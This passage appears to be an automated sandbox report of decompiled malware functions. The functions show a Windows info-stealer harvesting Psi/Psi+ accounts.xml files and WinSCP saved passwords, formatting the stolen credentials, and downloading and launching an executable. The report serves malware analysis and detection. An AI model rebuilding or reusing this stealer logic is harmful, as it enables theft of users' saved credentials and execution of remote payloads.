				_v12 =  *((intOrPtr*)( *_t82))(E00403D98(_v612),  &_v608,  *[fs:eax], 0x40db2b, _t231,  *[fs:eax], 0x40dd42, _t231, __edi, __esi, __ebx, _t176);
				while(1) {
					_t87 =  *0x41b198; // 0x41c6b8
					_t89 =  *((intOrPtr*)( *_t87))(_v12,  &_v608);
					_t234 = _t89;
					if(_t89 == 0) {
						break;
					}
					E00403D6C( &_v620, 0x104,  &_v564);
					E00403E78();
					_t95 =  *0x41b358; // 0x41c698
					__eflags =  *((intOrPtr*)( *_t95))(E00403D98(_v616), L"\\accounts.xml", _v620, _v16) - 0xffffffff;
					if(__eflags != 0) {
						_push(_t231);
						_push(0x40dafb);
						_push( *[fs:eax]);
						 *[fs:eax] = _t232;
						_push( &_v624);
						_push(_v16);
						E00403D6C( &_v636, 0x104,  &_v564);
						_push(_v636);
						_push(L"\\accounts.xml");
						E00403E78();
						E00407228(_v632, _t175,  &_v628);
						_push(_v628);
						E00403760( &_v640, 0x104,  &_v564);
						_pop(_t225);
						E0040D5D4(_v640, _t175, "PsiPlus", _t225, _t228, _t229);
						E00403798(_v8, _v624);
						_pop(_t227);
						 *[fs:eax] = _t227;
					}
				}
				_pop(_t201);
				 *[fs:eax] = _t201;
				E004062FC(L"%Appdata%\\Psi\\profiles\\",  &_v16, _t234);
				 *[fs:eax] = _t232;
				E00403E14( &_v644, L"\\*.*", _v16, _t234);
				_t123 = E0041B2D8; // 0x41c6b4
				_v12 =  *((intOrPtr*)( *_t123))(E00403D98(_v644),  &_v608,  *[fs:eax], 0x40dcac, _t231);
				while(1) {
					_push( &_v608);
					_push(_v12);
					_t128 =  *0x41b198; // 0x41c6b8
					if( *((intOrPtr*)( *_t128))() == 0) {
						break;
					}
					E00403D6C( &_v652, 0x104,  &_v564);
					E00403E78();
					_t136 =  *0x41b358; // 0x41c698
					_t138 =  *((intOrPtr*)( *_t136))(E00403D98(_v648), L"\\accounts.xml", _v652, _v16);
					__eflags = _t138 - 0xffffffff;
					if(_t138 != 0xffffffff) {
						_push(_t231);
						_push(0x40dc7c);
						_push( *[fs:eax]);
						 *[fs:eax] = _t232;
						_push( &_v656);
						_push(_v16);
						E00403D6C( &_v668, 0x104,  &_v564);
						_push(_v668);
						_push(L"\\accounts.xml");
						E00403E78();
						E00407228(_v664, _t175,  &_v660);
						_push(_v660);
						E00403760( &_v672, 0x104,  &_v564);
						_pop(_t218);
						E0040D5D4(_v672, _t175, 0x40de08, _t218, _t228, _t229);
						E00403798(_v8, _v656);
						_pop(_t220);
						 *[fs:eax] = _t220;
					}
				}
				_pop(_t206);
				 *[fs:eax] = _t206;
				_pop(_t207);
				 *[fs:eax] = _t207;
				_push(E0040DD4C);
				E004034E4( &_v672);
				E00403BF4( &_v668, 2);
				E00403508( &_v660, 2);
				E00403BF4( &_v652, 3);
				E004034E4( &_v640);
				E00403BF4( &_v636, 2);
				E00403508( &_v628, 2);
				E00403BF4( &_v620, 3);
				return E00403BDC( &_v16);
			}

0x0040d988
0x0040d988
0x0040d988
0x0040d989
0x0040d98b
0x0040d990
0x0040d990
0x0040d992
0x0040d994
0x0040d994
0x0040d994
0x0040d99b
0x0040d9a9
0x0040d9af
0x0040d9bc
0x0040d9cc
0x0040d9e4
0x0040d9f5
0x0040d9fe
0x0040db05
0x0040db10
0x0040db17
0x0040db19
0x0040db1b
0x00000000
0x00000000
0x0040da1a
0x0040da35
0x0040da46
0x0040da4f
0x0040da52
0x0040da5a
0x0040da5b
0x0040da60
0x0040da63
0x0040da6c
0x0040da6d
0x0040da81
0x0040da86
0x0040da8c
0x0040da9c
0x0040daad
0x0040dab8
0x0040daca
0x0040dada
0x0040dadb
0x0040dae9
0x0040daf3
0x0040daf6
0x0040daf6
0x0040da52
0x0040db23
0x0040db26
0x0040db3d
0x0040db4d
0x0040db65
0x0040db76
0x0040db7f
0x0040dc86
0x0040dc8c
0x0040dc90
0x0040dc91
0x0040dc9c
0x00000000
0x00000000
0x0040db9b
0x0040dbb6
0x0040dbc7
0x0040dbce
0x0040dbd0
0x0040dbd3
0x0040dbdb
0x0040dbdc
0x0040dbe1
0x0040dbe4
0x0040dbed
0x0040dbee
0x0040dc02
0x0040dc07
0x0040dc0d
0x0040dc1d
0x0040dc2e
0x0040dc39
0x0040dc4b
0x0040dc5b
0x0040dc5c
0x0040dc6a
0x0040dc74
0x0040dc77
0x0040dc77
0x0040dbd3
0x0040dca4
0x0040dca7
0x0040dcb8
0x0040dcbb
0x0040dcbe
0x0040dcc9
0x0040dcd9
0x0040dce9
0x0040dcf9
0x0040dd04
0x0040dd14
0x0040dd24
0x0040dd34
0x0040dd41

Strings

\*.*, xrefs: 0040D9DC, 0040DB5D
\accounts.xml, xrefs: 0040DA25, 0040DA8C, 0040DBA6, 0040DC0D
%Appdata%\Psi+\profiles\, xrefs: 0040D9B7
%Appdata%\Psi\profiles\, xrefs: 0040DB38
Psi, xrefs: 0040DC56
PsiPlus, xrefs: 0040DAD5

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513
String ID: %Appdata%\Psi+\profiles\$%Appdata%\Psi\profiles\$Psi$PsiPlus$\*.*$\accounts.xml
API String ID: 1918176781-1040989774
Opcode ID: 35414cf59844823def8efc1314f89b9daa56c8539d9dd0a8a0ff076b2ad58879
Instruction ID: f17b77acd2409bcf6ac3a803ffb13a621a441686efa256e2204c39e6a2df67d3
Opcode Fuzzy Hash: 35414cf59844823def8efc1314f89b9daa56c8539d9dd0a8a0ff076b2ad58879
Instruction Fuzzy Hash: 19A13D34A04219AFDB11EBA5CC95A9DB7BDEF49304F5085F6A408B3291DB38AF498F14

Uniqueness

Uniqueness Score: 100.00%

Function 0040CFB8, Relevance: 7.7, Strings: 6, Instructions: 179
UNIQUE

C-Code - Quality: 47%

			E0040CFB8(void* __ebx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v2072;
				char _v2076;
				char _v2080;
				char _v2084;
				char _v2088;
				char _v2092;
				char _v2096;
				char _v2100;
				char _v2104;
				char _v2108;
				char _v2112;
				char _v2116;
				char _v2120;
				char _v2124;
				char _v2128;
				char _v2132;
				intOrPtr _v2136;
				char _v2140;
				intOrPtr* _t71;
				intOrPtr* _t75;
				intOrPtr* _t91;
				void* _t102;
				void* _t150;
				void* _t151;
				void* _t166;
				intOrPtr _t169;
				void* _t189;
				void* _t197;
				intOrPtr _t200;
				intOrPtr _t201;

				_t198 = __esi;
				_t197 = __edi;
				_t200 = _t201;
				_t151 = 0x10b;
				do {
					_push(0);
					_push(0);
					_t151 = _t151 - 1;
				} while (_t151 != 0);
				_push(__ebx);
				_push(__esi);
				_push(_t200);
				_push(0x40d289);
				_push( *[fs:eax]);
				 *[fs:eax] = _t201;
				E00403C3C( &_v8, L"Software\\Martin Prikryl\\WinSCP 2\\Sessions\\");
				_push( &_v12);
				_push(E00403D98(_v8));
				_push(0x80000001);
				_t71 =  *0x41b474; // 0x41c72c
				if( *((intOrPtr*)( *_t71))() == 0) {
					_t150 = 0;
					while(1) {
						_push(0x800);
						_push( &_v2072);
						_push(_t150);
						_push(_v12);
						_t91 =  *0x41b248; // 0x41c730
						if( *((intOrPtr*)( *_t91))() != 0) {
							goto L7;
						}
						_t150 = _t150 + 1;
						E00403D6C( &_v2080, 0x400,  &_v2072);
						E00403E14( &_v2076, _v2080, _v8, __eflags);
						E004075C0(0x80000001, _t150, L"HostName", _v2076,  &_v16, 0);
						_t102 = E00403DA8(_v16);
						__eflags = _t102 - 2;
						if(_t102 >= 2) {
							E00403D6C( &_v2088, 0x400,  &_v2072);
							E00403E14( &_v2084, _v2088, _v8, __eflags);
							_t198 = E004076B4(0x80000001, _t150, L"PortNumber", _v2084, _t198);
							E00403D6C( &_v2096, 0x400,  &_v2072);
							E00403E14( &_v2092, _v2096, _v8, __eflags);
							E004075C0(0x80000001, _t150, L"UserName", _v2092,  &_v20, 0);
							E00403D6C( &_v2104, 0x400,  &_v2072);
							E00403E14( &_v2100, _v2104, _v8, __eflags);
							E004075C0(0x80000001, _t150, L"Password", _v2100,  &_v24, 0);
							_push( &_v2108);
							E0040377C( &_v2112, _v24);
							_push(_v2112);
							E0040377C( &_v2116, _v20);
							_push(_v2116);
							E0040377C( &_v2120, _v16);
							_pop(_t189);
							_pop(_t166);
							E0040CE7C(_v2120, _t150, _t166, _t189, _t197, _t108, __eflags);
							E00403D88( &_v24, _v2108);
							E0040377C( &_v2124, _v20);
							_push(_v2124);
							E0040377C( &_v2128, _v24);
							_push(_v2128);
							_push(0);
							E0040709C(_t198, _t150,  &_v2140, _t198, __eflags);
							E00403E78();
							E0040377C( &_v2132, _v2136);
							E0040525C(E0040D378, _t150, _v2132, "WinSCP", _t197, _t198, _v2140, 0x40d35c, _v16);
						}
					}
				}
				L7:
				_t75 =  *0x41b1fc; // 0x41c714
				 *((intOrPtr*)( *_t75))(_v12);
				_pop(_t169);
				 *[fs:eax] = _t169;
				_push(E0040D290);
				E00403BF4( &_v2140, 2);
				E00403508( &_v2132, 7);
				E00403BF4( &_v2104, 8);
				E00403BF4( &_v24, 3);
				return E00403BDC( &_v8);
			}

0x0040cfb8
0x0040cfb8
0x0040cfb9
0x0040cfbb
0x0040cfc0
0x0040cfc0
0x0040cfc2
0x0040cfc4
0x0040cfc4
0x0040cfc7
0x0040cfc8
0x0040cfcb
0x0040cfcc
0x0040cfd1
0x0040cfd4
0x0040cfdf
0x0040cfe7
0x0040cff0
0x0040cff1
0x0040cff6
0x0040d001
0x0040d007
0x0040d207
0x0040d207
0x0040d212
0x0040d213
0x0040d217
0x0040d218
0x0040d223
0x00000000
0x00000000
0x0040d00e
0x0040d026
0x0040d03a
0x0040d04f
0x0040d057
0x0040d05c
0x0040d05f
0x0040d076
0x0040d08a
0x0040d0a4
0x0040d0bd
0x0040d0d1
0x0040d0e6
0x0040d102
0x0040d116
0x0040d12b
0x0040d136
0x0040d140
0x0040d14b
0x0040d155
0x0040d160
0x0040d16a
0x0040d175
0x0040d176
0x0040d177
0x0040d185
0x0040d193
0x0040d19e
0x0040d1a8
0x0040d1b3
0x0040d1b4
0x0040d1c6
0x0040d1dc
0x0040d1ed
0x0040d202
0x0040d202
0x0040d05f
0x0040d207
0x0040d229
0x0040d22d
0x0040d234
0x0040d238
0x0040d23b
0x0040d23e
0x0040d24e
0x0040d25e
0x0040d26e
0x0040d27b
0x0040d288

Strings

WinSCP, xrefs: 0040D1F8
HostName, xrefs: 0040D045
UserName, xrefs: 0040D0DC
PortNumber, xrefs: 0040D095
Password, xrefs: 0040D121
Software\Martin Prikryl\WinSCP 2\Sessions\, xrefs: 0040CFDA

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513
String ID: HostName$Password$PortNumber$Software\Martin Prikryl\WinSCP 2\Sessions\$UserName$WinSCP
API String ID: 1918176781-2405151731
Opcode ID: f268a7fc43f994847fbff0d0e5e841911ad87480de2182ab590ea938fcb21748
Instruction ID: 7bd088c3d2db305df17c00e189efb7ed4d5aabbc39bbdde4c0466aab00456710
Opcode Fuzzy Hash: f268a7fc43f994847fbff0d0e5e841911ad87480de2182ab590ea938fcb21748
Instruction Fuzzy Hash: 65711B74A001199BCB10EA55CC81BDEB7F9FF88305F1081BAA548B3291DE34AF45CF99

Uniqueness

Uniqueness Score: 100.00%

Function 0041843C, Relevance: 7.7, Strings: 6, Instructions: 151
UNIQUE

C-Code - Quality: 76%

			E0041843C(intOrPtr __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				short _v44;
				intOrPtr _v48;
				char _v92;
				char _v108;
				short _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				char _v168;
				char _v172;
				char _v176;
				char _v180;
				char _v184;
				char _v188;
				char _v192;
				char _v196;
				void* _t76;
				void* _t84;
				intOrPtr* _t97;
				intOrPtr* _t121;
				void* _t131;
				void* _t132;
				intOrPtr _t152;
				void* _t163;
				short _t165;
				intOrPtr _t167;
				intOrPtr _t168;

				_t163 = __edi;
				_t167 = _t168;
				_t132 = 0x18;
				do {
					_push(0);
					_push(0);
					_t132 = _t132 - 1;
				} while (_t132 != 0);
				_push(__ebx);
				_t131 = __edx;
				_v8 = __eax;
				E00403980(_v8);
				_push(_t167);
				_push(0x418686);
				_push( *[fs:eax]);
				 *[fs:eax] = _t168;
				_t165 = 1;
				if(_t131 == 0) {
					_t165 = 0;
				}
				E00417DA4(_v8, _t131, 0, _t163, _t165,  &_v12);
				E00403D88( &_v172, _v8);
				E004077C8(_v172, _t131, 0x41869c,  &_v16, _t165, 0);
				E004062FC(L"%TEMP%\\",  &_v176, 0);
				_t134 = _v16;
				E00403E14( &_v20, _v16, _v176, 0);
				E00407360(_v20, _t131, _v12);
				_t76 = E0040776C(_v20, _t131, _v16);
				_t172 = _t76;
				if(_t76 == 0) {
					E004062FC(L"%PROGRAMDATA%\\",  &_v180, _t172);
					_t134 = _v16;
					E00403E14( &_v20, _v16, _v180, _t172);
					E00407360(_v20, _t131, _v12);
				}
				E00406724(_v16, _t131, _t134,  &_v24, _t165);
				E0040377C( &_v188, _v24);
				E0040633C(_v188, _t131,  &_v184, _t163, _t165);
				_t84 = E00403AD4(_v184, 0x4186e0);
				_t173 = _t84;
				if(_t84 == 0) {
					E004028E0( &_v168, 0x3c);
					_v168 = 0x3c;
					_v164 = 0x1c0;
					_v160 = 0;
					_v156 = 0;
					_v152 = E00403D98(_v20);
					__eflags = 0;
					_v148 = 0;
					E00407854(_v20, _t131, 0,  &_v196, _t165, 0);
					_v144 = E00403D98(_v196);
					_v140 = _t165;
					_t97 =  *0x41b150; // 0x41c764
					 *((intOrPtr*)( *_t97))( &_v168);
				} else {
					E004028E0( &_v92, 0x44);
					_v92 = 0x44;
					_v48 = 1;
					_v44 = _t165;
					E00407854(_v20, _t131, 0,  &_v192, _t165, _t173);
					_t121 =  *0x41b420; // 0x41c700
					 *((intOrPtr*)( *_t121))(E00403D98(_v20), 0, 0, 0, 0, 0x4000410, 0, E00403D98(_v192),  &_v92,  &_v108);
				}
				_pop(_t152);
				 *[fs:eax] = _t152;
				_push(E0041868D);
				E00403BF4( &_v196, 2);
				E00403508( &_v188, 2);
				E00403BF4( &_v180, 3);
				E00403BF4( &_v24, 3);
				return E00403508( &_v12, 2);
			}

0x0041843c
0x0041843d
0x0041843f
0x00418444
0x00418444
0x00418446
0x00418448
0x00418448
0x0041844b
0x0041844d
0x0041844f
0x00418455
0x0041845c
0x0041845d
0x00418462
0x00418465
0x00418468
0x0041846f
0x00418471
0x00418471
0x00418481
0x0041848f
0x0041849d
0x004184ad
0x004184bb
0x004184be
0x004184c9
0x004184d1
0x004184d6
0x004184d8
0x004184e5
0x004184f3
0x004184f6
0x00418501
0x00418501
0x0041850c
0x0041851a
0x0041852b
0x0041853b
0x00418540
0x00418542
0x004185ba
0x004185bf
0x004185c9
0x004185d5
0x004185dd
0x004185eb
0x004185f1
0x004185f3
0x00418602
0x00418612
0x00418618
0x00418625
0x0041862c
0x00418544
0x0041854e
0x00418553
0x0041855a
0x00418561
0x00418576
0x0041859f
0x004185a6
0x004185a6
0x00418630
0x00418633
0x00418636
0x00418646
0x00418656
0x00418666
0x00418673
0x00418685

Strings

%PROGRAMDATA%\, xrefs: 004184E0
D, xrefs: 00418553
GET, xrefs: 00418477
exe, xrefs: 00418536
<, xrefs: 004185BF
%TEMP%\, xrefs: 004184A8

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressProc$E4513FileHandleLibraryLoadModuleWrite
String ID: %PROGRAMDATA%\$%TEMP%\$<$D$GET$exe
API String ID: 2044127141-435227445
Opcode ID: 8392681c38778171f75d8d294f63099751ef1a2afa03480edfa578140c452db1
Instruction ID: b89b3e567e11199451f563eb4b0fd7d5dd27d3bc870e43d759e4d4ee37299cf9
Opcode Fuzzy Hash: 8392681c38778171f75d8d294f63099751ef1a2afa03480edfa578140c452db1
Instruction Fuzzy Hash: 5351F070A002199FDB10EF55CC82BDEB7B9EF48304F5085BAA408B7295DB74AE45CF59

Uniqueness

Uniqueness Score: 100.00%

Function 004018B7, Relevance: 7.6, APIs: 5, Instructions: 80
UNIQUE

C-Code - Quality: 84%

			E004018B7(intOrPtr* _a4, intOrPtr* _a8) {
				intOrPtr* _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _t22;
				void* _t29;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t38;
				void* _t44;
				signed int _t46;
				intOrPtr* _t47;
				void* _t48;
				intOrPtr* _t49;
				void* _t51;
				void* _t52;

				_t52 =  &_v16;
				_t47 = _a4;
				_t37 =  *_t47;
				_t46 =  *(_t47 + 4);
				_t51 = E0040188A() + _t21;
				_t22 = E004018B1();
				_t38 = _a8;
				_t48 = 0;
				_v4 = _t22;
				_v8 =  *_t38;
				_v12 =  *((intOrPtr*)(_t38 + 4));
				_v16 =  *((intOrPtr*)(_t38 + 8));
				_a8 =  *((intOrPtr*)(_t38 + 0xc));
				do {
					AddAtomA(0);
					SetLastError(0);
					GetTickCount();
					if(_t48 > 0x64) {
						__imp__AlphaBlend(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, _a4);
					}
					_t29 = E00401890(_t37, _v16, _t51, _a8);
					_t52 = _t52 + 0x10;
					_t46 = _t46 - _t29;
					SetConsoleCtrlHandler(0, 0);
					_t35 = _v8;
					_t37 = _t37 - ((_t46 >> 0x00000005) + _v16 ^ (_t46 << 0x00000004) + _v12 ^ _t46 + _t51);
					_t44 = 0xfffffff7;
					_t51 = _t51 + _t44 - _t35;
					_t48 = _t48 + 1;
				} while (_t48 < 0x20);
				_t49 = _v0;
				 *(_t49 + 4) = _t46;
				 *_t49 = _t37;
				return _t35;
			}

0x004018b7
0x004018bd
0x004018c2
0x004018c4
0x004018ce
0x004018d0
0x004018d5
0x004018d9
0x004018db
0x004018e1
0x004018e8
0x004018ef
0x004018f6
0x004018fa
0x004018fc
0x00401904
0x0040190a
0x00401913
0x00401925
0x00401925
0x00401935
0x0040193a
0x0040193d
0x00401943
0x00401962
0x00401966
0x0040196a
0x0040196d
0x0040196f
0x00401970
0x00401975
0x00401979
0x0040197d
0x00401985

APIs

AddAtomA.KERNEL32(00000000), ref: 004018FC
SetLastError.KERNEL32(00000000), ref: 00401904
GetTickCount.KERNEL32 ref: 0040190A
AlphaBlend.MSIMG32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401925
SetConsoleCtrlHandler.KERNEL32(00000000,00000000), ref: 00401943

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: AlphaAtomBlendConsoleCountCtrlErrorHandlerLastTick
String ID:
API String ID: 3546372404-0
Opcode ID: 131e735b0dad398767ae17cb5b675b114ff11c6a990e154e1e67e6a08af9b846
Instruction ID: 6bbd095d451bf5c6da9d274bcb5cd16af92a7adb5b6bbd0df49be4f1d2bfef76
Opcode Fuzzy Hash: 131e735b0dad398767ae17cb5b675b114ff11c6a990e154e1e67e6a08af9b846
Instruction Fuzzy Hash: 6621A172A043009FD300EF68CC44A6AFBE4FF8C354F05492EF98AD72A1D675E9418B91

Uniqueness

Uniqueness Score: 100.00%

Function 0040A93E, Relevance: 7.6, APIs: 5, Instructions: 67
memoryCOMMON

C-Code - Quality: 96%

			E0040A93E(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t20;
				long _t31;

				if(_a4 != 0) {
					_t31 = _a8;
					__eflags = _t31;
					if(_t31 != 0) {
						_push(__ebx);
						while(1) {
							__eflags = _t31 - 0xffffffe0;
							if(_t31 > 0xffffffe0) {
								break;
							}
							__eflags = _t31;
							if(_t31 == 0) {
								_t31 = _t31 + 1;
								__eflags = _t31;
							}
							_t7 = HeapReAlloc( *0x42af70, 0, _a4, _t31);
							_t20 = _t7;
							__eflags = _t20;
							if(_t20 != 0) {
								L17:
								_t8 = _t20;
							} else {
								__eflags =  *0x42b7d0 - _t7;
								if(__eflags == 0) {
									_t9 = E00409F2B(__eflags);
									 *_t9 = E00409F3E(GetLastError());
									goto L17;
								} else {
									__eflags = E00405AE9(_t7, _t31);
									if(__eflags == 0) {
										_t12 = E00409F2B(__eflags);
										 *_t12 = E00409F3E(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E00405AE9(_t6, _t31);
						 *((intOrPtr*)(E00409F2B(__eflags))) = 0xc;
						goto L12;
					} else {
						E00405B1C(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E00405A57(__ebx, __edx, __edi, _a8);
				}
			}

0x0040a945
0x0040a953
0x0040a956
0x0040a958
0x0040a967
0x0040a99a
0x0040a99a
0x0040a99d
0x00000000
0x00000000
0x0040a96a
0x0040a96c
0x0040a96e
0x0040a96e
0x0040a96e
0x0040a97b
0x0040a981
0x0040a983
0x0040a985
0x0040a9e5
0x0040a9e5
0x0040a987
0x0040a987
0x0040a98d
0x0040a9cf
0x0040a9e3
0x00000000
0x0040a98f
0x0040a996
0x0040a998
0x0040a9b7
0x0040a9cb
0x0040a9b1
0x0040a9b1
0x0040a9b1
0x00000000
0x00000000
0x00000000
0x0040a998
0x0040a98d
0x00000000
0x0040a9b3
0x0040a9a0
0x0040a9ab
0x00000000
0x0040a95a
0x0040a95d
0x0040a963
0x0040a963
0x0040a9b4
0x0040a9b6
0x0040a947
0x0040a951
0x0040a951

APIs

_malloc.LIBCMT ref: 0040A94A

Part of subcall function 00405A57: __FF_MSGBANNER.LIBCMT ref: 00405A6E
Part of subcall function 00405A57: __NMSG_WRITE.LIBCMT ref: 00405A75
Part of subcall function 00405A57: HeapAlloc.KERNEL32(002D0000,00000000,00000001,00000000,00000000,00000000,?,00405EE4,00000000,00000000,00000000,00000000,?,0040A049,00000018,00416D48), ref: 00405A9A

_free.LIBCMT ref: 0040A95D

Part of subcall function 00405B1C: HeapFree.KERNEL32(00000000,00000000), ref: 00405B30
Part of subcall function 00405B1C: GetLastError.KERNEL32(00429B80,?,00409FD6,00000000,?,?,00406E70,00405724,00416AB8,00000014), ref: 00405B42

HeapReAlloc.KERNEL32(00000000,00000000,?,00000000,00000000,?,00405F27,?,?,00000000,00000000,?,00404432,00000000,00000010), ref: 0040A97B
GetLastError.KERNEL32(?,00405F27,?,?,00000000,00000000,?,00404432,00000000,00000010,?,?,00000000,?,?,00404397), ref: 0040A9D6

Part of subcall function 00405AE9: DecodePointer.KERNEL32(?,0040AA43,?,00000000,?,00405E9A,00000000,?,00000000,00000000,00000000,?,00406D63,00000001,000003BC,00409FD6), ref: 00405AF2

GetLastError.KERNEL32(?,00405F27,?,?,00000000,00000000,?,00404432,00000000,00000010,?,?,00000000,?,?,00404397), ref: 0040A9BE

Part of subcall function 00409F2B: __getptd_noexit.LIBCMT ref: 00409F2B

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: ErrorHeapLast$Alloc$DecodeFreePointer__getptd_noexit_free_malloc
String ID:
API String ID: 1296792384-0
Opcode ID: 1aaacd52fc5e6646585659300ca741745b355d74ca1e7f2d7a02502a416a1f10
Instruction ID: fcf4ddd365196e22ccc38a058c9387b09c8bd85cf45f953ffa83a7705d10bb07
Opcode Fuzzy Hash: 1aaacd52fc5e6646585659300ca741745b355d74ca1e7f2d7a02502a416a1f10
Instruction Fuzzy Hash: FF11C4716147126BCB213B71AC4575B3B94AF04368F11493BF909F62D1DB3C8C518A9E

Uniqueness

Uniqueness Score: 5.54%

Function 00405424, Relevance: 7.6, Strings: 6, Instructions: 66
UNIQUE

C-Code - Quality: 45%

			E00405424(intOrPtr* __eax) {
				intOrPtr _t19;
				intOrPtr* _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t25;
				intOrPtr _t27;
				intOrPtr _t29;
				intOrPtr _t31;
				intOrPtr* _t32;
				signed int _t38;
				signed int _t39;
				void* _t41;
				void* _t42;

				_t32 = __eax;
				_t19 =  *0x41c664; // 0x0
				_t21 = E00404648(_t19) - 1;
				if(_t21 >= 0) {
					_t22 =  *0x41c664; // 0x0
					_t21 = E00404648(_t22);
					_t41 = _t21 - 1;
					if(_t41 >= 0) {
						_t42 = _t41 + 1;
						_t39 = 0;
						do {
							_push( *_t32);
							_push("SOFT:\t\t");
							_t38 = _t39 + _t39 * 2;
							_t23 =  *0x41c664; // 0x0
							_push( *((intOrPtr*)(_t23 + 4 + _t38 * 8)));
							_push(0x405520);
							E00403850();
							_push( *_t32);
							_push("HOST:\t\t");
							_t25 =  *0x41c664; // 0x0
							_push( *((intOrPtr*)(_t25 + 8 + _t38 * 8)));
							_push(0x405520);
							E00403850();
							_push( *_t32);
							_push("USER:\t\t");
							_t27 =  *0x41c664; // 0x0
							_push( *((intOrPtr*)(_t27 + 0xc + _t38 * 8)));
							_push(0x405520);
							E00403850();
							_push( *_t32);
							_push("PASS:\t\t");
							_t29 =  *0x41c664; // 0x0
							_push( *((intOrPtr*)(_t29 + 0x10 + _t38 * 8)));
							_push(0x405520);
							E00403850();
							_push( *_t32);
							_push("UNKN:\t\t");
							_t31 =  *0x41c664; // 0x0
							_push( *((intOrPtr*)(_t31 + 0x14 + _t38 * 8)));
							_push(0x40556c);
							_t21 = _t32;
							E00403850();
							_t39 = _t39 + 1;
							_t42 = _t42 - 1;
						} while (_t42 != 0);
					}
				}
				return _t21;
			}

0x00405428
0x0040542a
0x00405434
0x00405435
0x0040543b
0x00405440
0x00405447
0x0040544a
0x00405450
0x00405451
0x00405453
0x00405453
0x00405455
0x0040545a
0x0040545d
0x00405462
0x00405466
0x00405472
0x00405477
0x00405479
0x0040547e
0x00405483
0x00405487
0x00405493
0x00405498
0x0040549a
0x0040549f
0x004054a4
0x004054a8
0x004054b4
0x004054b9
0x004054bb
0x004054c0
0x004054c5
0x004054c9
0x004054d5
0x004054da
0x004054dc
0x004054e1
0x004054e6
0x004054ea
0x004054ef
0x004054f6
0x004054fb
0x004054fc
0x004054fc
0x00405453
0x0040544a
0x00405507

Strings

PASS:, xrefs: 004054BB
UNKN:, xrefs: 004054DC
HOST:, xrefs: 00405479
USER:, xrefs: 0040549A
, xrefs: 004054EA
SOFT:, xrefs: 00405455

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID:
String ID: $HOST:$PASS:$SOFT:$UNKN:$USER:
API String ID: 0-2405039822
Opcode ID: ca5ca38e5316793cebb1c7c90a62d46625a4be528c151b794395b4ae40678770
Instruction ID: 483d7f5b1a0a89fa69124733fdfbb2c1916d9fa977617a0c604fc7791412d2b8
Opcode Fuzzy Hash: ca5ca38e5316793cebb1c7c90a62d46625a4be528c151b794395b4ae40678770
Instruction Fuzzy Hash: 21114C76341A11BFCB10BF89EC81F573B97EB49B44B51907AB204AB2E9C679D8008F5D

Uniqueness

Uniqueness Score: 100.00%

Function 00401F5C, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 124UNIQUE

APIs

RtlEnterCriticalSection.KERNEL32([0,00000000,004020D8), ref: 00401FA7
RtlLeaveCriticalSection.KERNEL32([0,004020DF), ref: 004020D2

Part of subcall function 00401870: RtlInitializeCriticalSection.KERNEL32([0,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401886
Part of subcall function 00401870: RtlEnterCriticalSection.KERNEL32([0,[0,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401899
Part of subcall function 00401870: LocalAlloc.KERNEL32(00000000,00000FF8,[0,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 004018C3
Part of subcall function 00401870: RtlLeaveCriticalSection.KERNEL32([0,0040192D,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401920

Strings

[0, xrefs: 00401FA2, 004020CD
